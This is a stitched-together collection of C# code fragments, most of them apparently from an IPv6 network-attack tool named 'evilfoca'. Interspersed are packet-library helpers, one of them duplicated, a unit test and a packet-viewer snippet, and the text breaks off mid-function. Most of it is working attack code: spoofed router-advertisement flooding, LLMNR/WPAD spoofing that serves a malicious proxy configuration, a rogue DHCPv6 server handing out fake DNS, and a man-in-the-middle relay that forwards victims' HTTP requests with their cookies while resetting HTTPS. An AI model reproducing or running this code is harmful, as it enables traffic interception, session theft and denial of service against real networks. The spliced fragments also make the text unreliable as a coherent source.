public static IpPacket RandomPacket(IpVersion version)
{
if (version == IpVersion.IPv4)
{
return(IPv4Packet.RandomPacket());
}
if (version != IpVersion.IPv6)
{
throw new InvalidOperationException("Unknown version of " + version);
}
return(IPv6Packet.RandomPacket());
}
/// <summary>
/// Generate a random packet of a specific ip version
/// </summary>
/// <param name="version">
/// A <see cref="IpVersion" />
/// </param>
/// <returns>
/// A <see cref="IpPacket" />
/// </returns>
public static IpPacket RandomPacket(IpVersion version)
{
Log.DebugFormat("version {0}", version);
if (version == IpVersion.IPv4)
{
return(IPv4Packet.RandomPacket());
}
if (version == IpVersion.IPv6)
{
return(IPv6Packet.RandomPacket());
}
throw new InvalidOperationException("Unknown version of " + version);
}
private void Attack()
{
while (true)
{
try
{
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DoSSLAAC && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is evilfoca.Data.DoSSLAACAttack)
{
for (int i = 0; i < NumberOfRouterAdvertisement; i++)
{
//MAC del equipo atacado
PhysicalAddress MACdst = (attack as evilfoca.Data.DoSSLAACAttack).t1.mac;
//IP de origen aleatoria pero siempre de vinculo local
IPAddress IPsrc = GetRandomLocalIPv6();
//IP atacada
IPAddress IPdst = (attack as evilfoca.Data.DoSSLAACAttack).t1.ip;
ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(MACsrc, GetRandomPrefix(), true).GetBytes()));
IPv6Packet ipv6 = new IPv6Packet(IPsrc, IPdst);
ipv6.PayloadPacket = routerAdvertisement;
ipv6.HopLimit = 255;
EthernetPacket ethernet = new EthernetPacket(MACsrc, MACdst, EthernetPacketType.IpV6);
ethernet.PayloadPacket = ipv6;
Program.CurrentProject.data.SendPacket(ethernet);
}
}
}
Thread.Sleep(SendDoSAttackEachXSecs * 1000);
}
catch (ThreadAbortException)
{
return;
}
catch
{
}
}
}
public void GenerateLLMNRResponse(Packet packet)
{
try
{
LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket();
llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData);
if (llmnr.Query.Name.ToLower().Equals("wpad") && (llmnr.Query.Type.Value == LLMNR.DNSType.AAAA || llmnr.Query.Type.Value == LLMNR.DNSType.A))
{
WinPcapDevice dev = Program.CurrentProject.data.GetDevice();
IPAddress ip = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(dev);
byte[] ipv6Addr = ip.GetAddressBytes();
llmnr.AnswerList.Add(new LLMNR.DNSAnswer()
{
Class = evilfoca.LLMNR.DNSClass.IN,
Name = llmnr.Query.Name,
Type = evilfoca.LLMNR.DNSType.AAAA,
RData = ipv6Addr,
RDLength = (short)ipv6Addr.Length,
TTL = 12
});
llmnr.IsResponse = true;
EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV6);
IPv6Packet ipv6Dns = new IPv6Packet(ip, ((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort);
udpDns.PayloadData = llmnr.BuildPacket();
ipv6Dns.PayloadPacket = udpDns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
ethDns.PayloadPacket = ipv6Dns;
Program.CurrentProject.data.SendPacket(ethDns);
}
}
catch (Exception)
{
}
}
public void SendWpadFile(Packet packet)
{
lock (locker)
{
if (packet is EthernetPacket)
{
EthernetPacket ethPacket = packet as EthernetPacket;
IPv6Packet ipv6Source = (IPv6Packet)packet.PayloadPacket;
if (ipv6Source.PayloadPacket is PacketDotNet.TcpPacket)
{
TcpPacket tcp = ipv6Source.PayloadPacket as TcpPacket;
string element = string.Format("{0}/{1}", tcp.SequenceNumber, tcp.AcknowledgmentNumber);
ushort destPort = tcp.SourcePort;
ushort sourcePort = tcp.DestinationPort;
IPAddress destAddress = ipv6Source.SourceAddress;
IPAddress sourceAddress = ipv6Source.DestinationAddress;
PhysicalAddress sourceMac = Program.CurrentProject.data.GetDevice().MacAddress;
PhysicalAddress destMac = ethPacket.SourceHwAddress;
tcp.SourcePort = sourcePort;
tcp.DestinationPort = destPort;
if (tcp.Syn && !tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0 && sourcePort == 80)
{
tcp.Ack = true;
tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
tcp.SequenceNumber = tcp.SequenceNumber + 38;
tcp.WindowSize = 14600;
IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
else if (!tcp.Syn && tcp.Ack && tcp.PayloadData != null && !tcp.Rst && tcp.PayloadData.Length > 0 && sourcePort == 80)
{
if (Data.Data.WpadReqList.Contains(element))
return;
Data.Data.WpadReqList.Add(element);
HttpPacket http = new HttpPacket(((TcpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData);
if (http.FullUrlRequest.Contains("wpad.dat"))
{
tcp.Psh = true;
tcp.Fin = true;
tcp.Ack = true;
tcp.SequenceNumber = (ipv6Source.PayloadPacket as TcpPacket).AcknowledgmentNumber;
tcp.AcknowledgmentNumber = tcp.SequenceNumber;
string jsFunction = string.Format("function FindProxyForURL(url, host){{return \"PROXY [{0}]:{1}\";}}", ipv6Source.DestinationAddress.ToString(), proxyPort);
string htmlHeader = string.Format("HTTP/1.1 200 OK\r\nContent-Type: application/x-ns-proxy-autoconfig\r\nContent-Length: {0}\r\n\r\n", jsFunction.Length);
tcp.PayloadData = System.Text.Encoding.UTF8.GetBytes(string.Concat(htmlHeader, jsFunction));
EthernetPacket eth = new EthernetPacket(ethPacket.DestinationHwAddress, ethPacket.SourceHwAddress, EthernetPacketType.IpV6);
IPv6Packet ip6 = new IPv6Packet(ipv6Source.DestinationAddress, ipv6Source.SourceAddress);
ip6.PayloadPacket = tcp;
eth.PayloadPacket = ip6;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
}
else if (tcp.Fin && tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0)
{
tcp.Ack = true;
tcp.Fin = false;
uint ackOrg = tcp.AcknowledgmentNumber;
tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
tcp.SequenceNumber = ackOrg;
tcp.WindowSize = 1400;
IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
}
}
}
}
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p)
{
if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket))
return;
UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket;
if (udp.ParentPacket == null)
return;
if (!(udp.ParentPacket is IPv6Packet))
return;
if (attacks.Where(A => A.attackType == AttackType.DHCPIpv6).Count() == 0)
return;
DhcpIPv6 attack = (DhcpIPv6)attacks.Where(A => A.attackType == AttackType.DHCPIpv6).First();
IPv6Packet packetIpLayer = (IPv6Packet)udp.ParentPacket;
EthernetPacket ethernet = (EthernetPacket)p;
/*
Info: http://en.wikipedia.org/wiki/DHCPv6
Example
In this example, the server's link-local address is fe80::0011:22ff:fe33:5566/64 and the client's link-local address is fe80::aabb:ccff:fedd:eeff/64.
DHCPv6 client sends a Solicit from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547.
DHCPv6 server replies with an Advertise from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546.
DHCPv6 client replies with a Request from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. (All client messages are sent to the multicast address, per section 13 of RFC 3315.)
DHCPv6 server finishes with a Reply from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546.
*/
DHCPv6Packet pa = new DHCPv6Packet();
pa.ParsePacket(udp.PayloadData);
if (packetIpLayer.DestinationAddress.Equals(IPAddress.Parse("ff02::1:2")))
{
EthernetPacket newPEthernet = new EthernetPacket(device.Interface.MacAddress,
ethernet.SourceHwAddress,
EthernetPacketType.IpV6);
UdpPacket newUDP = null;
IPAddress ipv6LocalLink = null;
IPv6Packet newIpv6 = null;
switch (pa.MessageType)
{
case DHCPv6Type.Solicit:
if (pa.Options.ContainsKey(DHCPv6OptionCode.ClientIdentifier) && pa.Options.ContainsKey(DHCPv6OptionCode.IANA))
{
newUDP = new UdpPacket(547, 546);
byte[] iaid = pa.Options[DHCPv6OptionCode.IANA].Value;
pa.MessageType = DHCPv6Type.Advertise;
pa.Options.Remove(DHCPv6OptionCode.ElapsedTime);
pa.Options.Remove(DHCPv6OptionCode.FQDM);
pa.Options.Remove(DHCPv6OptionCode.VendorClass);
pa.Options.Remove(DHCPv6OptionCode.OptionRequest);
pa.Options.Remove(DHCPv6OptionCode.IANA);
pa.AddServerIdentifierOption(device.MacAddress);
pa.AddIANAOption(IPAddress.Parse(string.Format("{0}:{1}", attack.fakeIPRange.ToString().Substring(0, attack.fakeIPRange.ToString().LastIndexOf(':')), IpID)), iaid);
pa.AddDNSOption(attack.fakeDns);
pa.AddDomainSearchListOption(new string[] { "google.com" });
IpID++;
newUDP.PayloadData = pa.BuildPacket();
ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString());
newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress);
newIpv6.HopLimit = 1;
newIpv6.PayloadPacket = newUDP;
newPEthernet.PayloadPacket = newIpv6;
newUDP.UpdateCalculatedValues();
newUDP.UpdateUDPChecksum();
Program.CurrentProject.data.SendPacket(newPEthernet);
}
break;
case DHCPv6Type.Request:
newUDP = new UdpPacket(547, 546);
pa.MessageType = DHCPv6Type.Reply;
pa.Options.Remove(DHCPv6OptionCode.ElapsedTime);
pa.Options.Remove(DHCPv6OptionCode.FQDM);
pa.Options.Remove(DHCPv6OptionCode.VendorClass);
pa.Options.Remove(DHCPv6OptionCode.OptionRequest);
pa.Options.Remove(DHCPv6OptionCode.DNS);
pa.AddDNSOption(attack.fakeDns);
pa.AddDomainSearchListOption(new string[] { "google.com" });
newUDP.PayloadData = pa.BuildPacket();
ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString());
newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress);
newIpv6.HopLimit = 1;
newIpv6.PayloadPacket = newUDP;
newPEthernet.PayloadPacket = newIpv6;
newUDP.UpdateCalculatedValues();
newUDP.UpdateUDPChecksum();
Program.CurrentProject.data.SendPacket(newPEthernet);
break;
case DHCPv6Type.InformationRequest:
newUDP = new UdpPacket(547, 546);
pa.MessageType = DHCPv6Type.Reply;
pa.Options.Remove(DHCPv6OptionCode.ElapsedTime);
pa.Options.Remove(DHCPv6OptionCode.FQDM);
pa.Options.Remove(DHCPv6OptionCode.VendorClass);
pa.Options.Remove(DHCPv6OptionCode.OptionRequest);
pa.Options.Remove(DHCPv6OptionCode.IANA);
pa.AddServerIdentifierOption(device.MacAddress);
pa.AddDNSOption(attack.fakeDns);
pa.AddDomainSearchListOption(new string[] { "google.com" });
newUDP.PayloadData = pa.BuildPacket();
ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString());
newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress);
newIpv6.HopLimit = 1;
newIpv6.PayloadPacket = newUDP;
newPEthernet.PayloadPacket = newIpv6;
newUDP.UpdateCalculatedValues();
newUDP.UpdateUDPChecksum();
Program.CurrentProject.data.SendPacket(newPEthernet);
break;
default:
break;
}
}
}
public void ConstructFromValues()
{
var sourceAddress = RandomUtils.GetIPAddress(IpVersion.IPv6);
var destinationAddress = RandomUtils.GetIPAddress(IpVersion.IPv6);
var ipPacket = new IPv6Packet(sourceAddress, destinationAddress);
Assert.AreEqual(sourceAddress, ipPacket.SourceAddress);
Assert.AreEqual(destinationAddress, ipPacket.DestinationAddress);
}
//在树形控件中加入ipv4节点（由于TCP、UDP、ICMP、IGMP都有IP头，所以写成一个函数）
private void addIpv6Node(IPv6Packet IPv6)
{
TreeNode ipNode = new TreeNode();
ipNode.Text = "Internet Protocal Version 6, Src: " + IPv6.SourceAddress + ", Dst: " + IPv6.DestinationAddress;
treeView.Nodes.Add(ipNode);
ipNode.Nodes.Add(new TreeNode("Version: " + IPv6.Version));
ipNode.Nodes.Add(new TreeNode("Traffic class: 0x" + IPv6.TrafficClass.ToString("X8")));
ipNode.Nodes.Add(new TreeNode("Flowlabel: 0x" + IPv6.FlowLabel.ToString("X8")));
ipNode.Nodes.Add(new TreeNode("Payload length: " + IPv6.PayloadLength));
ipNode.Nodes.Add(new TreeNode("Next header: " + IPv6.NextHeader.ToString()));
ipNode.Nodes.Add(new TreeNode("Hop Limit: " + IPv6.HopLimit));
ipNode.Nodes.Add(new TreeNode("Source: " + IPv6.SourceAddress));
ipNode.Nodes.Add(new TreeNode("Destination" + IPv6.DestinationAddress));
}
private void Attack()
{
while (true)
{
try
{
/* INICIAR EL ATAQUE MODIFICANDO LA CACHE ARP (DoS IPv4) Y LAS TABLAS DE VECINOS (IPv6 SLAAC) */
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.SlaacMitm && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is evilfoca.Data.MitmAttack)
{
evilfoca.Data.MitmAttack slaacMitm = (evilfoca.Data.MitmAttack)attack;
EthernetPacket ethernet;
{
IPAddress myIP = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Program.CurrentProject.data.GetDevice());
PhysicalAddress myMac = Program.CurrentProject.data.GetDevice().MacAddress;
// IPv6 (de vinculo local) y MAC atacada
IPAddress IPdst = slaacMitm.t2.ip;
PhysicalAddress MACdst = slaacMitm.t2.mac;
ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(myMac, slaacMitm.prefix, false).GetBytes()));
IPv6Packet ipv6 = new IPv6Packet(myIP, IPdst);
ipv6.PayloadPacket = routerAdvertisement;
ipv6.HopLimit = 255;
ethernet = new EthernetPacket(myMac, MACdst, EthernetPacketType.IpV6);
ethernet.PayloadPacket = ipv6;
Program.CurrentProject.data.SendPacket(ethernet);
}
}
}
/* PARAR ATAQUE Y RESTAURAR LA CACHE DNS Y TABLAS DE VECINOS */
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.SlaacMitm && A.attackStatus == Data.AttackStatus.Stopping))
{
if (attack is evilfoca.Data.MitmAttack)
{
evilfoca.Data.MitmAttack slaacMitm = (evilfoca.Data.MitmAttack)attack;
/* Enviar paquetes para que pare la denegacion de servicio IPv4 */
/* Enviar paquetes para que pare el envenenamiento de vecino IPv6 */
attack.attackStatus = Data.AttackStatus.Stop;
}
}
Thread.Sleep(SendPacketEachXSecs * 1000);
}
catch
{
}
}
}
private void DNSCheck(Packet p)
{
EthernetPacket ethernet = (EthernetPacket)p;
if (p.PayloadPacket.PayloadPacket is UdpPacket)
{
UdpPacket udp = p.PayloadPacket.PayloadPacket as UdpPacket;
attacks.Where(a => a.attackType == AttackType.SlaacMitm).ToList().ForEach(currentAttack =>
{
MitmAttack mitmAttack = currentAttack as MitmAttack;
if (p.PayloadPacket is IPv6Packet)
{
switch (udp.DestinationPort)
{
case 53:
Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData);
var aaaaDns = (from q in response.Questions
where q.QType == Heijden.DNS.QType.AAAA || q.QType == Heijden.DNS.QType.A
select q).ToList();
//Para mostrar la pelotita de conexión a internet OK, respondemos al paquete Teredo de Microsoft en formato A.
var aTeredoDns = (from q in response.Questions
where q.QType == Heijden.DNS.QType.A
&& (q.QName.ToLower().Contains("teredo") || q.QName.ToLower().Contains("msftncsi"))
select q).ToList();
if (aaaaDns != null && aaaaDns.Count > 0)
{
DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData);
string q = query.name;
IPAddress[] ips = Dns.GetHostAddresses(q);
DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv6, query.transID, query.nameDnsFormat, ips[0]);
byte[] respByteAr = resp.GeneratePacket();
EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);
udpDns.PayloadData = respByteAr;
ipv6Dns.PayloadPacket = udpDns;
ethDns.PayloadPacket = ipv6Dns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
Program.CurrentProject.data.SendPacket(ethDns);
}
else if (aTeredoDns != null && aTeredoDns.Count > 0)
{
DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData);
string q = query.name;
IPAddress[] ips = Dns.GetHostAddresses(q);
DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv4, query.transID, query.nameDnsFormat, ips[0]);
byte[] respByteAr = resp.GeneratePacket();
EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);
udpDns.PayloadData = respByteAr;
ipv6Dns.PayloadPacket = udpDns;
ethDns.PayloadPacket = ipv6Dns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
Program.CurrentProject.data.SendPacket(ethDns);
}
break;
case 5355:
LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket();
llmnr.ParsePacket(udp.PayloadData);
if (llmnr.Query.Type.HasValue && llmnr.Query.Type.Value == LLMNR.DNSType.AAAA)
{
IPAddress[] ips = (from ip in Dns.GetHostAddresses(llmnr.Query.Name)
where ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork
select ip).ToArray();
byte[] ipv6Addr = new byte[] { 0x00,0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xff,0xff,
(byte)ips[0].GetAddressBytes()[0],(byte)ips[0].GetAddressBytes()[1],
(byte)ips[0].GetAddressBytes()[2] ,(byte)ips[0].GetAddressBytes()[3] };
llmnr.AnswerList.Add(new LLMNR.DNSAnswer()
{
Class = evilfoca.LLMNR.DNSClass.IN,
Name = llmnr.Query.Name,
Type = evilfoca.LLMNR.DNSType.AAAA,
RData = ipv6Addr,
RDLength = (short)ipv6Addr.Length
});
EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);
udpDns.PayloadData = llmnr.BuildPacket();
ipv6Dns.PayloadPacket = udpDns;
ethDns.PayloadPacket = ipv6Dns;
udpDns.UpdateCalculatedValues();
udpDns.UpdateUDPChecksum();
ipv6Dns.UpdateCalculatedValues();
Program.CurrentProject.data.SendPacket(ethDns);
}
break;
default:
break;
}
}
});
}
}
private void SendHttpResponse(HttpPacket httpReq, EthernetPacket orgEthPacket, ushort sourcePort, ushort destinationPort, uint ackNumber, uint expectedSeqNumber)
{
IPv6Packet ipv6 = (IPv6Packet)orgEthPacket.PayloadPacket;
TcpPacket tcp = new TcpPacket(sourcePort, destinationPort);
IPAddress destAddress = ipv6.SourceAddress;
IPAddress sourceAddress = ipv6.DestinationAddress;
PhysicalAddress sourceMac = device.MacAddress;
PhysicalAddress destMac = orgEthPacket.SourceHwAddress;
string urlRequest = string.IsNullOrEmpty(httpReq.Host) ? string.Format("http://{0}{1}", Ipv6To4Addr(ipv6.DestinationAddress.ToString()), httpReq.ResourceRequest) : httpReq.FullUrlRequest;
bool validRequest = false;
HttpWebRequest req = null;
HttpWebResponse response = null;
IPv6Packet ipv6Ack = null;
EthernetPacket eth = null;
CookieContainer lastCookies = httpReq.Cookies;
string userAgent = httpReq.UserAgent;
int repeatRedirect = 0;
//Fix no Google's javascript redirect
if (httpReq.Host.Contains("google") && httpReq.FullUrlRequest.Contains("/xjs/_/js/"))
validRequest = true;
while (!validRequest)
{
req = HttpWebRequest.Create(urlRequest) as HttpWebRequest;
req.Host = req.Address.Host;
req.UserAgent = userAgent;
req.Method = httpReq.Method;
//req.Accept = httpReq.Accept;
req.Headers[HttpRequestHeader.AcceptLanguage] = httpReq.AcceptLanguage;
req.Referer = httpReq.Referer;
req.AllowAutoRedirect = false;
if (lastCookies == null)
lastCookies = new CookieContainer();
req.CookieContainer = lastCookies;
if (httpReq.Method.ToLower() == "post" && httpReq.Data != null)
{
req.ContentType = httpReq.ContentType;
req.ContentLength = httpReq.Data.Length;
using (Stream dataStream = req.GetRequestStream())
{
using (BinaryWriter writer = new BinaryWriter(dataStream))
{
writer.Write(httpReq.Data);
}
}
}
try
{
response = req.GetResponse() as HttpWebResponse;
if ((response.StatusCode == HttpStatusCode.Found || response.StatusCode == HttpStatusCode.Moved) && response.Headers[HttpResponseHeader.Location].StartsWith("https"))
throw new WebException("302", null, WebExceptionStatus.UnknownError, response);
else
validRequest = true;
}
catch (WebException ex404)
{
if (ex404.Message.Contains("404") && ex404.Response != null)
{
if ((ex404.Response as HttpWebResponse) != null)
response = (ex404.Response as HttpWebResponse);
validRequest = true;
}
else if (ex404.Message.Contains("403") && ex404.Response.ResponseUri.AbsoluteUri.StartsWith("http:"))
{
validRequest = false;
urlRequest = string.Format("https{0}", ex404.Response.ResponseUri.AbsoluteUri.Substring(4));
if (!string.IsNullOrEmpty(ex404.Response.Headers[HttpResponseHeader.SetCookie]))
{
CookieCollection col = HttpPacket.ParseSetCookies(ex404.Response.Headers[HttpResponseHeader.SetCookie]);
if (col.Count > 0)
{
if (!string.IsNullOrEmpty(col[0].Domain))
{
string domain = col[0].Domain;
if (domain.StartsWith("."))
domain = domain.Remove(0, 1);
lastCookies.Add(new Uri(string.Format("http://{0}", domain)), col);
}
else
lastCookies.Add(ex404.Response.ResponseUri, col);
}
}
}
else if (ex404.Message.Contains("302"))
{
if (repeatRedirect < REDIRECTCOUNT)
{
validRequest = false;
urlRequest = ex404.Response.Headers[HttpResponseHeader.Location];
if (!string.IsNullOrEmpty(ex404.Response.Headers[HttpResponseHeader.SetCookie]))
{
CookieCollection col = HttpPacket.ParseSetCookies(ex404.Response.Headers[HttpResponseHeader.SetCookie]);
if (col.Count > 0)
{
if (!string.IsNullOrEmpty(col[0].Domain))
{
string domain = col[0].Domain;
if (domain.StartsWith("."))
domain = domain.Remove(0, 1);
if (urlRequest.StartsWith("https"))
lastCookies.Add(new Uri(string.Format("https://{0}", domain)), col);
else
lastCookies.Add(new Uri(string.Format("http://{0}", domain)), col);
}
else
lastCookies.Add(ex404.Response.ResponseUri, col);
}
}
repeatRedirect++;
}
else
{
validRequest = true;
response = null;
}
}
else
{
validRequest = true;
}
}
catch (Exception)
{
}
}
int previousLength = 0;
uint ackValue = expectedSeqNumber;
uint sequence = ackNumber;
if (response != null)
{
try
{
foreach (var item in response.GetBytes(1300))
{
tcp.Psh = false;
tcp.Fin = false;
tcp.Ack = true;
tcp.AcknowledgmentNumber = ackValue;
tcp.SequenceNumber = sequence + (uint)previousLength;
sequence = tcp.SequenceNumber;
previousLength = item.Length;
tcp.WindowSize = 1600;
tcp.PayloadData = item;
ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
}
catch (Exception e)
{
e.ToString();
}
tcp.Psh = true;
tcp.Fin = true;
tcp.Ack = true;
tcp.AcknowledgmentNumber = ackValue;
tcp.SequenceNumber = sequence + (uint)previousLength;
tcp.WindowSize = 1600;
tcp.PayloadData = new byte[0];
ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
else
{
tcp.Psh = true;
tcp.Fin = true;
tcp.Ack = true;
tcp.AcknowledgmentNumber = ackValue;
tcp.SequenceNumber = sequence + (uint)previousLength;
tcp.WindowSize = 1600;
tcp.PayloadData = HttpPacket.Get404Packet();
ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
}
private void Ipv6ToIpv4(EthernetPacket orgPacket)
{
try
{
IPv6Packet ipv6 = (IPv6Packet)orgPacket.PayloadPacket;
if (ipv6.PayloadPacket is PacketDotNet.ICMPv6Packet)
{
ICMPv6Packet icmp = ipv6.PayloadPacket as ICMPv6Packet;
icmp.Type = ICMPv6Types.EchoReply;
icmp.UpdateCalculatedValues();
icmp.Checksum = (ushort)ChecksumUtils.OnesComplementSum(icmp.Bytes);
IPv6Packet ipv6Ack = new IPv6Packet(ipv6.DestinationAddress, ipv6.SourceAddress);
ipv6Ack.PayloadPacket = icmp;
EthernetPacket eth = new EthernetPacket(orgPacket.DestinationHwAddress, orgPacket.SourceHwAddress, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
Program.CurrentProject.data.SendPacket(eth);
}
else if (ipv6.PayloadPacket is PacketDotNet.TcpPacket)
{
TcpPacket tcp = ipv6.PayloadPacket as TcpPacket;
ushort destPort = tcp.SourcePort;
ushort sourcePort = tcp.DestinationPort;
IPAddress destAddress = ipv6.SourceAddress;
IPAddress sourceAddress = ipv6.DestinationAddress;
PhysicalAddress sourceMac = device.MacAddress;
PhysicalAddress destMac = orgPacket.SourceHwAddress;
tcp.SourcePort = sourcePort;
tcp.DestinationPort = destPort;
if (tcp.Syn && !tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0)
{
if (sourcePort == 80)
{
tcp.Ack = true;
tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
tcp.SequenceNumber = tcp.SequenceNumber + 38;
tcp.WindowSize = 14600;
IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
else if (sourcePort == 443)
{
tcp.Syn = false;
tcp.Ack = true;
tcp.Rst = true;
tcp.Psh = false;
uint ackOrg = tcp.AcknowledgmentNumber;
tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
tcp.SequenceNumber = 0;
tcp.WindowSize = 0;
tcp.PayloadData = new byte[0];
IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
}
else if (!tcp.Syn && tcp.Ack && tcp.PayloadData != null && !tcp.Rst && tcp.PayloadData.Length > 0 && sourcePort == 80)
{
string element = string.Format("{0}/{1}", tcp.SequenceNumber, tcp.AcknowledgmentNumber);
if (!Data.Data.SlaacReqList.Contains(element))
{
Data.Data.SlaacReqList.Add(element);
HttpPacket httpReq = new HttpPacket(tcp.PayloadData);
if (httpReq.IsCompleted)
{
SendHttpResponse(httpReq, orgPacket, tcp.SourcePort, tcp.DestinationPort, tcp.AcknowledgmentNumber, tcp.SequenceNumber + (uint)tcp.PayloadData.Length);
}
else
{
lock (htppLock)
{
//incomplete packet
TcpReconstructorPacket previousPacket = (from p in Program.CurrentProject.data.ReconstructedPackets
where p.ExpectedSequenceNumber == tcp.SequenceNumber
select p).FirstOrDefault();
